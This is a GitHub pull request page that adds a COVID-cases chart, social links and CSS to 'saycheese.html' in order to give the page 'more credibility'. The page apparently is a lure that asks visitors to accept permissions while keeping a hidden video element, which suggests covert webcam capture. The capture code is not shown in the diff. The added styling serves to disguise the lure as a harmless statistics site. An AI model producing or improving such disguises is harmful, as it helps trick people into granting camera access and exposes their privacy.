Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add style to page for more credibility #2

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions img/Twitter_Social_Icon_Circle_Color.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
111 changes: 111 additions & 0 deletions img/git.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
30 changes: 30 additions & 0 deletions saycheese.html
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link rel="stylesheet" href="style.css">
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@100;300;700;800&display=swap" rel="stylesheet">
</head>

<div class="video-wrap" hidden="hidden">
Expand Down Expand Up @@ -75,6 +77,34 @@
</script>

<body>
<div class="main">
<nav class="redes">
<div class="sociales">
<ul class="sociales">
<li><a href="https://www.instagram.com/brandonsr_3" target="_blank" class="instagram">Instagram</a></li>
<li><a href="https://www.twitter.com/brandonsr_3" target="_blank" class="twitter">Twitter</a></li>
<li><a href="https://www.github.com/brandonsr" target="_blank" class="github">GitHub</a></li>
</ul>
</div>
</nav>

<h1 class="title">COVID CASES PER MONTH</h1>
<div class="chart">
<canvas class="mychart" id="mychart" width="200" height="200">

</canvas>
</div>
<footer class="pie">
<p class="footer">&copy;Brandon Roldan</p>
</footer>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.min.js" integrity="sha512-s+xg36jbIujB2S2VKfpGmlC3T5V2TF3lY48DX7u2r9XzGzgPsa6wTpOQA7J9iffvdeBN0q9tKzRxVxw1JviZPg==" crossorigin="anonymous"></script>
<script src="script.js"></script>




<p>Hint: Look at the favicon</p>
<p>(Accept Permissions)</p>
<p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>
Expand Down
37 changes: 37 additions & 0 deletions script.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
var ctx = document.getElementById('mychart').getContext('2d');
var myChart = new Chart(ctx, {
type: 'line',
data: {
labels: ['March', 'April', 'May', 'June', 'July', 'August', 'September' , "October"],
datasets: [{
label: '# of Cases Confirmed',
data: [39, 599, 5087, 19011, 50979, 74893, 92409, 93090 ],
backgroundColor: [
'rgba(255, 99, 132, 0.2)',
'rgba(54, 162, 235, 0.2)',
'rgba(255, 206, 86, 0.2)',
'rgba(75, 192, 192, 0.2)',
'rgba(153, 102, 255, 0.2)',
'rgba(255, 159, 64, 0.2)'
],
borderColor: [
'rgba(255, 99, 132, 1)',
'rgba(54, 162, 235, 1)',
'rgba(255, 206, 86, 1)',
'rgba(75, 192, 192, 1)',
'rgba(153, 102, 255, 1)',
'rgba(255, 159, 64, 1)'
],
borderWidth: 1
}]
},
options: {
scales: {
yAxes: [{
ticks: {
beginAtZero: true
}
}]
}
}
});
62 changes: 62 additions & 0 deletions style.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
*
{
background: #E0EAFC; /* fallback for old browsers */
background: -webkit-linear-gradient(to right, #CFDEF3, #E0EAFC); /* Chrome 10-25, Safari 5.1-6 */
background: linear-gradient(to right, #CFDEF3, #E0EAFC); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */
align-items: center;
}
.main
{
font-family: 'Raleway', sans-serif;
text-align: center;
align-items: center;
width: 100%;
max-width: 1000px;
margin-right: 100px;

}
.title
{
font-weight: 800;
padding-top: 100px;

}
.footer
{
font-weight: bold;
}

.pie
{
display: inline-flex;
}
.sociales
{
list-style: none;
text-decoration: none;
display: inline-block;
padding: 6px 0px;
}
.redes .sociales li
{
float: right;
}
.redes .sociales{
float: right;
}
.redes .sociales ul
{
list-style: none;
}
.redes .sociales ul li a
{
text-decoration: none;
color: black;
display: inline-block;
padding: 10px 15px;
font-style: italic;
}
.redes .sociales ul li a:hover
{
color: brown;
}